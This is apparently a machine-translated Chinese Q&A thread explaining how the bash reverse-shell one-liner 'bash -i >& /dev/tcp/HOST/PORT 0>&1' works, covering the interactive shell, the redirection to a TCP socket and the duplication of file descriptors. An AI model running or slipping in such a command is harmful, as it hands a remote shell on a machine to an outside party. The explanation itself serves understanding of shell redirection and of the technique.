Answers:
此代码段bash -i
在bash进程期间创建的与指定主机上指定端口的TCP连接上运行bash()的新交互式实例。通过此连接(>& /dev/tcp/HOST/PORT
)发送标准输出和标准错误,并通过此连接读取标准输入(0>&1
—应该也可以,0<&1
但是0>&1
也可以)。
没有正在进行的端口转发。显然,某种TCP服务器必须在该HOST:PORT上侦听和接受连接,并且防火墙必须允许连接通过。
/dev/tcp/HOST/PORT
吗?我假设您用替换了姓名,HOST
并用替换了数字PORT
。否则,您将收到来自bash的错误消息。由于您没有提及任何错误消息,因此我想您没有看到任何错误消息。
0<&1
部分。我将其读取为“采用bash stdout(&1
)并将其通过管道传送到bash stdin(0
)”,这很有意义。您能解释一下这部分如何工作吗?
0<&1
表示将文件描述符1上当前打开的内容连接到文件描述符0。由于先前的重定向>& /dev/tcp/HOST/PORT
将fd 1(输出重定向的默认值)连接到/dev/tcp/HOST/PORT
,即打开了TCP套接字,因此将TCP连接复制到文件描述符0(即现在在fd 0上也打开了相同的套接字,这不同于0 </ dev / tcp / HOST / PORT,后者将打开同一服务器的不同套接字)。